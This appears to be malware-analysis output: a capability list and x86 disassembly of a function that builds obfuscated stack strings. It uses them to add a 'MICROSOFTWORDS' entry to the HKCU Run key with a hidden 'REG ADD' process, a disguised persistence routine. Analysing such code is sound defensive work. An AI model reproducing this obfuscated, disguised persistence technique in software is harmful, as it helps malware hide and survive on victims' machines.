Function at 0x10009330
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Create process suspended
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001e883
mov eax, dword fs:[0]
push eax
sub esp, 0x510
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x4c0]
call fcn.1000a0f0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x4a8]
call fcn.1000a0f0
mov byte [ebp - 4], 2
mov eax, 4
imul ecx, eax, 3
mov dword [ebp + ecx - 0x430], 0x46004f
mov edx, 4
imul eax, edx, 7
mov dword [ebp + eax - 0x430], 0
mov ecx, 4
imul edx, ecx, 6
mov dword [ebp + edx - 0x430], 0x530044
mov eax, 4
imul ecx, eax, 0
mov dword [ebp + ecx - 0x430], 0x49004d
mov edx, 4
shl edx, 0
mov dword [ebp + edx - 0x430], 0x520043
mov eax, 4
shl eax, 1
mov dword [ebp + eax - 0x430], 0x53004f
mov ecx, 4
shl ecx, 2
mov dword [ebp + ecx - 0x430], 0x570054
mov edx, 4
imul eax, edx, 5
mov dword [ebp + eax - 0x430], 0x52004f
mov ecx, 4
imul edx, ecx, 6
mov dword [ebp + edx - 0x490], 0x6f0072
mov eax, 4
imul ecx, eax, 0
mov dword [ebp + ecx - 0x490], 0x6f0053
mov edx, 4
imul eax, edx, 0xb
mov dword [ebp + eax - 0x490], 0x6f0064
mov ecx, 4
shl ecx, 2
mov dword [ebp + ecx - 0x490], 0x4d005c
mov edx, 4
imul eax, edx, 0x15
mov dword [ebp + eax - 0x490], 0x750052
mov ecx, 4
imul edx, ecx, 9
mov dword [ebp + edx - 0x490], 0x57005c
mov eax, 4
imul ecx, eax, 0x16
mov dword [ebp + ecx - 0x490], 0x6e
mov edx, 4
imul eax, edx, 0xa
mov dword [ebp + eax - 0x490], 0x6e0069
mov ecx, 4
imul edx, ecx, 0xf
mov dword [ebp + edx - 0x490], 0x650072
mov eax, 4
imul ecx, eax, 7
mov dword [ebp + ecx - 0x490], 0x6f0073
mov edx, 4
imul eax, edx, 0x11
mov dword [ebp + eax - 0x490], 0x650056
mov ecx, 4
shl ecx, 4
mov dword [ebp + ecx - 0x490], 0x74006e
mov edx, 4
shl edx, 3
mov dword [ebp + edx - 0x490], 0x740066
mov eax, 4
imul ecx, eax, 3
mov dword [ebp + ecx - 0x490], 0x650072
mov edx, 4
imul eax, edx, 0x17
mov dword [ebp + eax - 0x490], 0
mov ecx, 4
shl ecx, 1
mov dword [ebp + ecx - 0x490], 0x610077
mov edx, 4
imul eax, edx, 0xe
mov dword [ebp + eax - 0x490], 0x720075
mov ecx, 4
shl ecx, 0
mov dword [ebp + ecx - 0x490], 0x740066
mov edx, 4
imul eax, edx, 0x13
mov dword [ebp + eax - 0x490], 0x6f0069
mov ecx, 4
imul edx, ecx, 5
mov dword [ebp + edx - 0x490], 0x630069
mov eax, 4
imul ecx, eax, 0xd
mov dword [ebp + ecx - 0x490], 0x43005c
mov edx, 4
imul eax, edx, 0x14
mov dword [ebp + eax - 0x490], 0x5c006e
mov ecx, 4
imul edx, ecx, 0xc
mov dword [ebp + edx - 0x490], 0x730077
mov eax, 4
imul ecx, eax, 0x12
mov dword [ebp + ecx - 0x490], 0x730072
lea edx, [ebp - 0x430]
push edx
lea ecx, [ebp - 0x4c0]
call fcn.10009fd0
lea eax, [ebp - 0x490]
push eax
lea ecx, [ebp - 0x4a8]
call fcn.10009fd0
push 0x44
push 0
lea ecx, [ebp - 0x504]
push ecx
call fcn.1000deb0
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x514], edx
mov dword [ebp - 0x510], edx
mov dword [ebp - 0x50c], edx
mov dword [ebp - 0x508], edx
mov dword [ebp - 0x504], 0x44
mov dword [ebp - 0x4d8], 0xa
lea ecx, [ebp + 8]
call fcn.10008760
push eax
lea ecx, [ebp - 0x4c0]
call fcn.10008760
push eax
lea ecx, [ebp - 0x4a8]
call fcn.10008760
push eax
push str.REG_ADD_HKCU_s__v__s__t_REG_SZ__d____s____f
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
lea ecx, [ebp - 0x514]
push ecx
lea edx, [ebp - 0x504]
push edx
push str.C:Users_
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [ebp - 0x410]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x100096eb
mov dword [ebp - 0x518], 0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x4a8]
call fcn.100087a0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x4c0]
call fcn.100087a0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.100087a0
mov eax, dword [ebp - 0x518]
jmp 0x10009742
mov ecx, dword [ebp - 0x510]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x514]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x51c], 1
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x4a8]
call fcn.100087a0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x4c0]
call fcn.100087a0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.100087a0
mov eax, dword [ebp - 0x51c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000c794
mov esp, ebp
pop ebp
ret